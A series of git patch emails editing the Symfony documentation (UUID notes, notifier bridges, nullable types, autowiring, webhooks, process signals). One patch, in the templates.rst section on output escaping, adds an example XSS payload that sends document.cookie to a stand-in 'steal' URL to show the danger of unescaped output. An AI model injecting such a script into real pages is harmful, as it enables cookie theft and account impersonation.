Bond <kevinbond@gmail.com> Date: Mon, 15 Apr 2024 09:11:02 -0400 Subject: [PATCH 133/615] [AssetMapper][Encore] document switching from AssetMapper to Encore --- frontend.rst | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/frontend.rst b/frontend.rst index 6b7aa6f5048..05f7e6c69df 100644 --- a/frontend.rst +++ b/frontend.rst @@ -78,6 +78,26 @@ pre-processing CSS & JS and compiling and minifying assets. :doc:`Read the Encore Documentation </frontend/encore/index>` +Switch from AssetMapper +^^^^^^^^^^^^^^^^^^^^^^^ + +By default, new Symfony webapp projects (created with ``symfony new --webapp myapp``) +use AssetMapper. If you still need to use Webpack Encore, use the following steps to +switch. This is best done on a new project and provides the same features (Turbo/Stimulus) +as the default webapp. + +.. code-block:: terminal + + # Remove AssetMapper & Turbo/Stimulus temporarily + $ composer remove symfony/ux-turbo symfony/asset-mapper symfony/stimulus-bundle + + # Add Webpack Encore & Turbo/Stimulus back + $ composer require symfony/webpack-encore-bundle symfony/ux-turbo symfony/stimulus-bundle + + # Install & Build Assets + $ npm install + $ npm run dev + Stimulus & Symfony UX Components ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From 2cbc55e95efc57d0204684843732ddfee3507f06 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 16 Apr 2024 11:01:45 +0200 Subject: [PATCH 134/615] [Uid] Mention that UUID v6 also solves the index fragmentation issue --- components/uid.rst | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/components/uid.rst b/components/uid.rst index 16bd172ca6e..d1d45752501 100644 --- a/components/uid.rst +++ b/components/uid.rst @@ -97,6 +97,8 @@ It's the same as UUIDv3 (explained above) but it uses ``sha1`` instead of ``md5`` to hash the given namespace and name (`read UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__). This makes it more secure and less prone to hash collisions. +.. _uid-uuid-v6: + **UUID v6** (reordered time-based) It rearranges the time-based fields of the UUIDv1 to make it lexicographically @@ -351,8 +353,8 @@ entity primary keys:: Using UUIDs as primary keys is usually not recommended for performance reasons: indexes are slower and take more space (because UUIDs in binary format take 128 bits instead of 32/64 bits for auto-incremental integers) and the non-sequential - nature of UUIDs fragments indexes. :ref:`UUID v7 <uid-uuid-v7>` is the only - variant that solves the fragmentation issue (but the index size issue remains). + nature of UUIDs fragments indexes. :ref:`UUID v6 <uid-uuid-v6>` and :ref:`UUID v7 <uid-uuid-v7>` + are the only variants that solves the fragmentation issue (but the index size issue remains). When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine knows how to convert these UUID types to build the SQL query From f42a61f8340e46aea4739786b7d932a97044a48d Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 16 Apr 2024 11:25:52 +0200 Subject: [PATCH 135/615] [Uid] Fix a typo --- components/uid.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/uid.rst b/components/uid.rst index d1d45752501..7b929500cee 100644 --- a/components/uid.rst +++ b/components/uid.rst @@ -354,7 +354,7 @@ entity primary keys:: indexes are slower and take more space (because UUIDs in binary format take 128 bits instead of 32/64 bits for auto-incremental integers) and the non-sequential nature of UUIDs fragments indexes. :ref:`UUID v6 <uid-uuid-v6>` and :ref:`UUID v7 <uid-uuid-v7>` - are the only variants that solves the fragmentation issue (but the index size issue remains). + are the only variants that solve the fragmentation issue (but the index size issue remains). When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine knows how to convert these UUID types to build the SQL query From ca5065ae4a9fb67c0df28592916bff5a3f0cef0a Mon Sep 17 00:00:00 2001 From: Gaetan Rouseyrol <47118498+Te4g@users.noreply.github.com> Date: Mon, 15 Apr 2024 13:04:27 +0200 Subject: [PATCH 136/615] [Scheduler] Remove incorrect mention of subtracting time from jitter As we can see in the code https://github.com/symfony/symfony/blob/6.3/src/Symfony/Component/Scheduler/Trigger/JitterTrigger.php we can only add time --- scheduler.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scheduler.rst b/scheduler.rst index 39644ff9c8e..12d76eadc29 100644 --- a/scheduler.rst +++ b/scheduler.rst @@ -153,7 +153,7 @@ the frequency of the message. Symfony provides different types of triggers: :class:`Symfony\\Component\\Scheduler\\Trigger\\JitterTrigger` A trigger that adds a random jitter to a given trigger. The jitter is some - time that it's added/subtracted to the original triggering date/time. This + time that is added to the original triggering date/time. This allows to distribute the load of the scheduled tasks instead of running them all at the exact same time. From f1793555e2e68d4b7754f5022487753a3621a8fa Mon Sep 17 00:00:00 2001 From: Andrey Lebedev <andrew.lebedev@gmail.com> Date: Wed, 20 Mar 2024 21:37:29 +0400 Subject: [PATCH 137/615] [Notifier] LOX24 SMS Gateway Notifier --- notifier.rst | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/notifier.rst b/notifier.rst index 6bf3ab71c48..c9cf3068d1c 100644 --- a/notifier.rst +++ b/notifier.rst @@ -74,6 +74,7 @@ Service Package DSN `Iqsms`_ ``symfony/iqsms-notifier`` ``iqsms://LOGIN:PASSWORD@default?from=FROM`` `KazInfoTeh`_ ``symfony/kaz-info-teh-notifier`` ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM`` `LightSms`_ ``symfony/light-sms-notifier`` ``lightsms://LOGIN:TOKEN@default?from=PHONE`` +`LOX24`_ ``symfony/lox24-notifier`` ``lox24://USER:TOKEN@default?from=FROM`` `Mailjet`_ ``symfony/mailjet-notifier`` ``mailjet://TOKEN@default?from=FROM`` `MessageBird`_ ``symfony/message-bird-notifier`` ``messagebird://TOKEN@default?from=FROM`` `MessageMedia`_ ``symfony/message-media-notifier`` ``messagemedia://API_KEY:API_SECRET@default?from=FROM`` @@ -115,7 +116,7 @@ Service Package DSN .. versionadded:: 7.1 - The `SmsSluzba`_ and `SMSense`_ integrations were introduced in Symfony 7.1. + The `SmsSluzba`_, `SMSense`_ and `LOX24`_ integrations were introduced in Symfony 7.1. .. deprecated:: 7.1 @@ -1005,6 +1006,7 @@ is dispatched. Listeners receive a .. _`LINE Notify`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LineNotify/README.md .. _`LightSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LightSms/README.md .. _`LinkedIn`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LinkedIn/README.md +.. _`LOX24`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Lox24/README.md .. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mailjet/README.md .. _`Mastodon`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mastodon/README.md .. _`Mattermost`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mattermost/README.md From 885d65db770ec0f72b77d5f6f2169d8f43774314 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 16 Apr 2024 16:06:54 +0200 Subject: [PATCH 138/615] Minor tweak --- controller.rst | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/controller.rst b/controller.rst index 2edf6affb2f..90277e07b76 100644 --- a/controller.rst +++ b/controller.rst @@ -555,7 +555,8 @@ if you want to map a nested array of specific DTOs:: ) {} } -Nevertheless, if you want to send the array of payloads directly like this: +Instead of returning an array of DTO objects, you can tell Symfony to transform +each DTO object into an array and return something like this: .. code-block:: json @@ -572,7 +573,8 @@ Nevertheless, if you want to send the array of payloads directly like this: } ] -Map the parameter as an array and configure the type of each element in the attribute:: +To do so, map the parameter as an array and configure the type of each element +using the ``type`` option of the attribute:: public function dashboard( #[MapRequestPayload(type: UserDTO::class)] array $users @@ -581,6 +583,10 @@ Map the parameter as an array and configure the type of each element in the attr // ... } +.. versionadded:: 7.1 + + The ``type`` option of ``#[MapRequestPayload]`` was introduced in Symfony 7.1. + Managing the Session -------------------- From 826c0214c9244116f4f15579b4a762b1b658be7c Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Sun, 14 Apr 2024 21:17:36 +0200 Subject: [PATCH 139/615] Use DOCtor-RST 1.60.1 --- .doctor-rst.yaml | 1 + .github/workflows/ci.yaml | 2 +- validation/custom_constraint.rst | 6 +++--- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml index f8b4ba96a91..5f428fc80ca 100644 --- a/.doctor-rst.yaml +++ b/.doctor-rst.yaml @@ -15,6 +15,7 @@ rules: ensure_correct_format_for_phpfunction: ~ ensure_exactly_one_space_before_directive_type: ~ ensure_exactly_one_space_between_link_definition_and_link: ~ + ensure_explicit_nullable_types: ~ ensure_github_directive_start_with_prefix: prefix: 'Symfony' ensure_link_bottom: ~ diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index 50524a74310..a7a2db5f7a9 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -73,7 +73,7 @@ jobs: key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }} - name: "Run DOCtor-RST" - uses: docker://oskarstark/doctor-rst:1.59.0 + uses: docker://oskarstark/doctor-rst:1.60.1 with: args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst index e7c172181c3..549de6e3234 100644 --- a/validation/custom_constraint.rst +++ b/validation/custom_constraint.rst @@ -320,9 +320,9 @@ define those options as public properties on the constraint class: public function __construct( $mandatoryFooOption, - string $message = null, - bool $optionalBarOption = null, - array $groups = null, + ?string $message = null, + ?bool $optionalBarOption = null, + ?array $groups = null, $payload = null, array $options = [] ) { From 26f992de81ad13673f7a812dd40d8e1d6450aafe Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Wed, 17 Apr 2024 12:08:54 +0200 Subject: [PATCH 140/615] - --- validation/custom_constraint.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst index 0f7016d9653..4dacb0c9504 100644 --- a/validation/custom_constraint.rst +++ b/validation/custom_constraint.rst @@ -265,12 +265,12 @@ define those options as public properties on the constraint class:: $this->optionalBarOption = $optionalBarOption ?? $this->optionalBarOption; } - public function getDefaultOption() + public function getDefaultOption(): string { return 'mandatoryFooOption'; } - public function getRequiredOptions() + public function getRequiredOptions(): array { return ['mandatoryFooOption']; } From 4981d1370bfb0677739475de850c000d952eb674 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com> Date: Wed, 17 Apr 2024 12:18:21 +0200 Subject: [PATCH 141/615] [CS] Fix explicit nullable types --- create_framework/separation_of_concerns.rst | 2 +- create_framework/templating.rst | 2 +- reference/dic_tags.rst | 2 +- reference/forms/types/enum.rst | 2 +- serializer/custom_context_builders.rst | 4 ++-- validation/custom_constraint.rst | 2 +- 6 files changed, 7 insertions(+), 7 deletions(-) diff --git a/create_framework/separation_of_concerns.rst b/create_framework/separation_of_concerns.rst index e0937fbdf45..5238b3aac42 100644 --- a/create_framework/separation_of_concerns.rst +++ b/create_framework/separation_of_concerns.rst @@ -120,7 +120,7 @@ And move the ``is_leap_year()`` function to its own class too:: class LeapYear { - public function isLeapYear(int $year = null): bool + public function isLeapYear(?int $year = null): bool { if (null === $year) { $year = date('Y'); diff --git a/create_framework/templating.rst b/create_framework/templating.rst index 07d7e38417c..282e75cbc94 100644 --- a/create_framework/templating.rst +++ b/create_framework/templating.rst @@ -146,7 +146,7 @@ framework does not need to be modified in any way, create a new use Symfony\Component\HttpFoundation\Response; use Symfony\Component\Routing; - function is_leap_year(int $year = null): bool + function is_leap_year(?int $year = null): bool { if (null === $year) { $year = (int)date('Y'); diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst index 354e9cb0b4b..cf908c4dd24 100644 --- a/reference/dic_tags.rst +++ b/reference/dic_tags.rst @@ -490,7 +490,7 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i class MyCustomWarmer implements CacheWarmerInterface { - public function warmUp(string $cacheDir, string $buildDir = null): array + public function warmUp(string $cacheDir, ?string $buildDir = null): array { // ... do some sort of operations to "warm" your cache diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst index 1a2afbe470c..7a49128f28c 100644 --- a/reference/forms/types/enum.rst +++ b/reference/forms/types/enum.rst @@ -66,7 +66,7 @@ implement ``TranslatableInterface`` to translate or display custom labels:: case Center = 'Center aligned'; case Right = 'Right aligned'; - public function trans(TranslatorInterface $translator, string $locale = null): string + public function trans(TranslatorInterface $translator, ?string $locale = null): string { // Translate enum from name (Left, Center or Right) return $translator->trans($this->name, locale: $locale); diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst index b40e432286d..31fba6c90f5 100644 --- a/serializer/custom_context_builders.rst +++ b/serializer/custom_context_builders.rst @@ -33,7 +33,7 @@ value is ``0000-00-00``. To do that you'll first have to create your normalizer: { use DenormalizerAwareTrait; - public function denormalize($data, string $type, string $format = null, array $context = []): mixed + public function denormalize($data, string $type, ?string $format = null, array $context = []): mixed { if ('0000-00-00' === $data) { return null; @@ -44,7 +44,7 @@ value is ``0000-00-00``. To do that you'll first have to create your normalizer: return $this->denormalizer->denormalize($data, $type, $format, $context); } - public function supportsDenormalization($data, string $type, string $format = null, array $context = []): bool + public function supportsDenormalization($data, string $type, ?string $format = null, array $context = []): bool { return true === ($context['zero_datetime_to_null'] ?? false) && is_a($type, \DateTimeInterface::class, true); diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst index 4dacb0c9504..9d3fb920d6d 100644 --- a/validation/custom_constraint.rst +++ b/validation/custom_constraint.rst @@ -59,7 +59,7 @@ You can use ``#[HasNamedArguments]`` to make some constraint options required:: #[HasNamedArguments] public function __construct( public string $mode, - array $groups = null, + ?array $groups = null, mixed $payload = null, ) { parent::__construct([], $groups, $payload); From e05c5b15a1e7f717a05e592b7d162c617706056e Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Wed, 17 Apr 2024 12:25:20 +0200 Subject: [PATCH 142/615] - --- service_container/autowiring.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst index 1352f03475a..2925e769bdf 100644 --- a/service_container/autowiring.rst +++ b/service_container/autowiring.rst @@ -635,11 +635,11 @@ The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-par // expressions #[Autowire(expression: 'service("App\\\Mail\\\MailerConfiguration").getMailerMethod()')] - string $mailerMethod + string $mailerMethod, // environment variables #[Autowire(env: 'SOME_ENV_VAR')] - string $senderName + string $senderName, ) { } // ... From face90624b744d1f0671cc030b60df25bfe43192 Mon Sep 17 00:00:00 2001 From: Antonio de la Vega <antonio.v.j95@gmail.com> Date: Tue, 16 Apr 2024 18:15:28 +0200 Subject: [PATCH 143/615] Add ENV processor example --- service_container/autowiring.rst | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst index 2925e769bdf..a27bf088d5b 100644 --- a/service_container/autowiring.rst +++ b/service_container/autowiring.rst @@ -614,7 +614,8 @@ logic about those arguments:: The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-parameters>`, :doc:`complex expressions </service_container/expression_language>` and even -:ref:`environment variables <config-env-vars>`:: +:ref:`environment variables <config-env-vars>` , +:doc:`including env variable processors </configuration/env_var_processors>`:: // src/Service/MessageGenerator.php namespace App\Service; @@ -640,6 +641,10 @@ The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-par // environment variables #[Autowire(env: 'SOME_ENV_VAR')] string $senderName, + + // environment variables with processors + #[Autowire(env: 'bool:SOME_BOOL_ENV_VAR')] + string $allowAttachments, ) { } // ... From 51a8bb9ba23afc78b121a2b1028dff7e8e9baab0 Mon Sep 17 00:00:00 2001 From: Oskar Stark <oskarstark@googlemail.com> Date: Wed, 17 Apr 2024 12:27:31 +0200 Subject: [PATCH 144/615] - --- service_container/autowiring.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst index a27bf088d5b..f570670a7dc 100644 --- a/service_container/autowiring.rst +++ b/service_container/autowiring.rst @@ -644,7 +644,7 @@ The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-par // environment variables with processors #[Autowire(env: 'bool:SOME_BOOL_ENV_VAR')] - string $allowAttachments, + bool $allowAttachments, ) { } // ... From be50a3c6688a941325699568dad333e39accc669 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com> Date: Wed, 17 Apr 2024 12:29:10 +0200 Subject: [PATCH 145/615] Fix Explicite nullable types (7.0) --- testing.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/testing.rst b/testing.rst index ee3a6c50191..0dfa5212217 100644 --- a/testing.rst +++ b/testing.rst @@ -1082,10 +1082,10 @@ Mailer Assertions Notifier Assertions ................... -``assertNotificationCount(int $count, string $transportName = null, string $message = '')`` +``assertNotificationCount(int $count, ?string $transportName = null, string $message = '')`` Asserts that the given number of notifications has been created (in total or for the given transport). -``assertQueuedNotificationCount(int $count, string $transportName = null, string $message = '')`` +``assertQueuedNotificationCount(int $count, ?string $transportName = null, string $message = '')`` Asserts that the given number of notifications are queued (in total or for the given transport). ``assertNotificationIsQueued(MessageEvent $event, string $message = '')`` @@ -1113,7 +1113,7 @@ HttpClient Assertions For all the following assertions, ``$client->enableProfiler()`` must be called before the code that will trigger HTTP request(s). -``assertHttpClientRequest(string $expectedUrl, string $expectedMethod = 'GET', string|array $expectedBody = null, array $expectedHeaders = [], string $httpClientId = 'http_client')`` +``assertHttpClientRequest(string $expectedUrl, string $expectedMethod = 'GET', string|array|null $expectedBody = null, array $expectedHeaders = [], string $httpClientId = 'http_client')`` Asserts that the given URL has been called using, if specified, the given method body and headers. By default it will check on the HttpClient, but you can also pass a specific HttpClient ID. From 02e88f179210f542eed3830f1f961b2cf28ee116 Mon Sep 17 00:00:00 2001 From: Alexis Lefebvre <alexislefebvre+github@gmail.com> Date: Wed, 17 Apr 2024 13:31:21 +0200 Subject: [PATCH 146/615] Update _php7-string-and-number.rst.inc --- reference/constraints/_php7-string-and-number.rst.inc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/reference/constraints/_php7-string-and-number.rst.inc b/reference/constraints/_php7-string-and-number.rst.inc index 6da43da6378..3d19f2eb0d3 100644 --- a/reference/constraints/_php7-string-and-number.rst.inc +++ b/reference/constraints/_php7-string-and-number.rst.inc @@ -3,4 +3,4 @@ When using PHP 7.x, if the value is a string (e.g. ``1234asd``), the validator will not trigger an error. In this case, you must also use the :doc:`Type constraint </reference/constraints/Type>` with - ``numeric``, ``integer`, etc. to reject strings. + ``numeric``, ``integer``, etc. to reject strings. From f7225d9ef76dcc592dd124d373e3e08eb301ed48 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Fri, 19 Apr 2024 16:09:45 +0200 Subject: [PATCH 147/615] fix typo --- components/intl.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/intl.rst b/components/intl.rst index d18ac21b10a..008d9161fd7 100644 --- a/components/intl.rst +++ b/components/intl.rst @@ -389,7 +389,7 @@ Symfony provides utilities to translate emojis into their textual representation in all languages. Read the documentation on :ref:`working with emojis in strings <string-emoji-transliteration>` to learn more about this feature. -Disk space +Disk Space ---------- If you need to save disk space (e.g. because you deploy to some service with tight size From b6ce981a8fa43d59b4192dfdc76bbf80bf8ba329 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 19 Apr 2024 17:37:53 +0200 Subject: [PATCH 148/615] Add a better example of the dangers of XSS attacks --- reference/configuration/framework.rst | 2 +- reference/configuration/twig.rst | 7 +++---- templates.rst | 24 ++++++++++++++++-------- 3 files changed, 20 insertions(+), 13 deletions(-) diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst index 25edfe52910..83cece55ec5 100644 --- a/reference/configuration/framework.rst +++ b/reference/configuration/framework.rst @@ -1825,7 +1825,7 @@ cookie_httponly This determines whether cookies should only be accessible through the HTTP protocol. This means that the cookie won't be accessible by scripting languages, such as JavaScript. This setting can effectively help to reduce -identity theft through XSS attacks. +identity theft through :ref:`XSS attacks <xss-attacks>`. gc_divisor .......... diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst index 75a3b7ddf42..f0e8bd31454 100644 --- a/reference/configuration/twig.rst +++ b/reference/configuration/twig.rst @@ -44,9 +44,9 @@ individually in the templates). .. danger:: Setting this option to ``false`` is dangerous and it will make your - application vulnerable to `XSS attacks`_ because most third-party bundles - assume that auto-escaping is enabled and they don't escape contents - themselves. + application vulnerable to :ref:`XSS attacks <xss-attacks>` because most + third-party bundles assume that auto-escaping is enabled and they don't + escape contents themselves. If set to a string, the template contents are escaped using the strategy with that name. Allowed values are ``html``, ``js``, ``css``, ``url``, ``html_attr`` @@ -345,4 +345,3 @@ attribute or method doesn't exist. If set to ``false`` these errors are ignored and the non-existing values are replaced by ``null``. .. _`the optimizer extension`: https://twig.symfony.com/doc/3.x/api.html#optimizer-extension -.. _`XSS attacks`: https://en.wikipedia.org/wiki/Cross-site_scripting diff --git a/templates.rst b/templates.rst index a46a211692c..7dd7a758fae 100644 --- a/templates.rst +++ b/templates.rst @@ -1240,17 +1240,25 @@ and leaves the repeated contents and HTML structure to some parent templates. Read the `Twig template inheritance`_ docs to learn more about how to reuse parent block contents when overriding templates and other advanced features. -Output Escaping ---------------- +.. _output-escaping: +.. _xss-attacks: + +Output Escaping and XSS Attacks +------------------------------- Imagine that your template includes the ``Hello {{ name }}`` code to display the -user name. If a malicious user sets ``<script>alert('hello!')</script>`` as -their name and you output that value unchanged, the application will display a -JavaScript popup window. +user name and a malicious user sets the following as their name: + +.. code-block:: html + + My Name + <script type="text/javascript"> + document.write('<img src="https://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">'); + </script> -This is known as a `Cross-Site Scripting`_ (XSS) attack. And while the previous -example seems harmless, the attacker could write more advanced JavaScript code -to perform malicious actions. +You'll see ``My Name`` on screen but the attacker just secretly stole your cookies +so they can impersonate you in other websites. This is known as a `Cross-Site Scripting`_ +or XSS attack. To prevent this attack, use *"output escaping"* to transform the characters which have special meaning (e.g. replace ``<`` by the ``<`` HTML entity). From 0b3b5695f8f6f9e94d37d59a2ac58f600ae35913 Mon Sep 17 00:00:00 2001 From: Chris Smith <chris.smith@widerplan.com> Date: Fri, 19 Apr 2024 17:41:45 +0100 Subject: [PATCH 149/615] Add reference to undocumented configuration option --- reference/configuration/framework.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst index 25edfe52910..b3c72d44c67 100644 --- a/reference/configuration/framework.rst +++ b/reference/configuration/framework.rst @@ -1602,7 +1602,7 @@ To see a list of all available storages, run: .. versionadded:: 5.3 - The ``storage_factory_id`` option was introduced in Symfony 5.3. + The ``storage_factory_id`` option was introduced in Symfony 5.3 deprecating the ``storage_id`` option. .. _config-framework-session-handler-id: From 2fb1ada6d841d6c14ae3188736f9fa49b449f646 Mon Sep 17 00:00:00 2001 From: HypeMC <hypemc@gmail.com> Date: Sun, 14 Apr 2024 08:54:41 +0200 Subject: [PATCH 150/615] [DependencyInjection] Clarify the `#[Target]` attribute --- service_container/autowiring.rst | 40 +++++++++++++++++++------------- 1 file changed, 24 insertions(+), 16 deletions(-) diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst index d75d34443ca..979c798c8b8 100644 --- a/service_container/autowiring.rst +++ b/service_container/autowiring.rst @@ -320,8 +320,8 @@ To fix that, add an :ref:`alias <service-autowiring-alias>`: App\Util\Rot13Transformer: ~ - # the ``App\Util\Rot13Transformer`` service will be injected when - # an ``App\Util\TransformerInterface`` type-hint is detected + # the App\Util\Rot13Transformer service will be injected when + # an App\Util\TransformerInterface type-hint is detected App\Util\TransformerInterface: '@App\Util\Rot13Transformer' .. code-block:: xml @@ -428,7 +428,7 @@ type hinted, but use the ``UppercaseTransformer`` implementation in some specific cases. To do so, you can create a normal alias from the ``TransformerInterface`` interface to ``Rot13Transformer``, and then create a *named autowiring alias* from a special string containing the -interface followed by a variable name matching the one you use when doing +interface followed by an argument name matching the one you use when doing the injection:: // src/Service/MastodonClient.php @@ -464,13 +464,13 @@ the injection:: App\Util\Rot13Transformer: ~ App\Util\UppercaseTransformer: ~ - # the ``App\Util\UppercaseTransformer`` service will be - # injected when an ``App\Util\TransformerInterface`` - # type-hint for a ``$shoutyTransformer`` argument is detected. + # the App\Util\UppercaseTransformer service will be + # injected when an App\Util\TransformerInterface + # type-hint for a $shoutyTransformer argument is detected App\Util\TransformerInterface $shoutyTransformer: '@App\Util\UppercaseTransformer' # If the argument used for injection does not match, but the - # type-hint still matches, the ``App\Util\Rot13Transformer`` + # type-hint still matches, the App\Util\Rot13Transformer # service will be injected. App\Util\TransformerInterface: '@App\Util\Rot13Transformer' @@ -527,7 +527,7 @@ the injection:: // the App\Util\UppercaseTransformer service will be // injected when an App\Util\TransformerInterface - // type-hint for a $shoutyTransformer argument is detected. + // type-hint for a $shoutyTransformer argument is detected $services->alias(TransformerInterface::class.' $shoutyTransformer', UppercaseTransformer::class); // If the argument used for injection does not match, but the @@ -555,13 +555,17 @@ under the arguments key. Another possibility is to use the ``#[Target]`` attribute. By using this attribute on the argument you want to autowire, you can define exactly which service to inject -by using its alias. Thanks to this, you're able to have multiple services implementing -the same interface and keep the argument name decorrelated of any implementation name -(like shown in the example above). +by passing the name of the argument used in the named alias. Thanks to this, you're able +to have multiple services implementing the same interface and keep the argument name +decorrelated of any implementation name (like shown in the example above). -Let's say you defined the ``app.uppercase_transformer`` alias for the -``App\Util\UppercaseTransformer`` service. You would be able to use the ``#[Target]`` -attribute like this:: +.. warning:: + + The ``#[Target]`` attribute only accepts the name of the argument used in the named + alias, it **does not** accept service ids or service aliases. + +Suppose you want to inject the ``App\Util\UppercaseTransformer`` service. You would use +the ``#[Target]`` attribute by passing the name of the ``$shoutyTransformer`` argument:: // src/Service/MastodonClient.php namespace App\Service; @@ -573,12 +577,16 @@ attribute like this:: { private $transformer; - public function __construct(#[Target('app.uppercase_transformer')] TransformerInterface $transformer) - { + public function __construct( + #[Target('shoutyTransformer')] TransformerInterface $transformer, + ) { $this->transformer = $transformer; } } +Since the ``#[Target]`` attribute normalizes the string passed to it to its camelCased form, +name variations such as ``shouty.transformer`` also work. + .. note:: Some IDEs will show an error when using ``#[Target]`` as in the previous example: From bf7aca178e472ff49887e8555ebca1c676bb5f6a Mon Sep 17 00:00:00 2001 From: Jesse Rushlow <jr@rushlow.dev> Date: Sun, 21 Apr 2024 04:46:10 -0400 Subject: [PATCH 151/615] [webhook] show `make:webhook` --- webhook.rst | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/webhook.rst b/webhook.rst index a621587084c..f931a3601ce 100644 --- a/webhook.rst +++ b/webhook.rst @@ -16,6 +16,11 @@ Installation $ composer require symfony/webhook +.. tip:: + + Since MakerBundle ``v1.58.0`` - you can run ``php bin/console make:webhook`` + to generate the files needed to use the Webhook component. + Usage in Combination with the Mailer Component ---------------------------------------------- From e98c6f14159186418ba2320450a25a2d4fbde33b Mon Sep 17 00:00:00 2001 From: Alexandre Daubois <alex.daubois@gmail.com> Date: Mon, 22 Apr 2024 11:00:22 +0200 Subject: [PATCH 152/615] [Process] Mention `Process::setIgnoredSignals` --- components/process.rst | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/components/process.rst b/components/process.rst index c4db5c18a9c..9502665dde1 100644 --- a/components/process.rst +++ b/components/process.rst @@ -511,6 +511,20 @@ When running a program asynchronously, you can send it POSIX signals with the // will send a SIGKILL to the process $process->signal(SIGKILL); +You can make the process ignore signals by using the +:method:`Symfony\\Component\\Process\\Process::setIgnoredSignals` +method. The given signals won't be propagated to the child process:: + + use Symfony\Component\Process\Process; + + $process = new Process(['find', '/', '-name', 'rabbit']); + $process->setIgnoredSignals([SIGKILL, SIGUSR1]); + +.. versionadded:: 7.1 + + The :method:`Symfony\\Component\\Process\\Process::setIgnoredSignals` + method was introduced in Symfony 7.1. + Process Pid ----------- From 6e19233cf00ff3ae35c781dfdac0726faf159e75 Mon Sep 17 00:00:00 2001 From: Matthias Schmidt <matthias@mttsch.dev> Date: Mon, 22 Apr 2024 19:21:13 +0200 Subject: [PATCH 153/615] [DependencyInjection] Add `#[AutowireMethodOf]` attribute Co-Authored-By: Oskar Stark <oskarstark@googlemail.com> --- reference/attributes.rst | 1 + service_container/autowiring.rst | 30 ++++++++++++++++++++++++++++++ 2 files changed, 31 insertions(+) diff --git a/reference/attributes.rst b/reference/attributes.rst index 015b8751834..a1e8532c347 100644 --- a/reference/attributes.rst +++ b/reference/attributes.rst @@ -35,6 +35,7 @@ Dependency Injection * :doc:`AutowireDecorated </service_container/service_decoration>` * :doc:`AutowireIterator <service-locator_autowire-iterator>` * :ref:`AutowireLocator <service-locator_autowire-locator>` +* :ref:`AutowireMethodOf <autowiring_closures>` * :ref:`AutowireServiceClosure 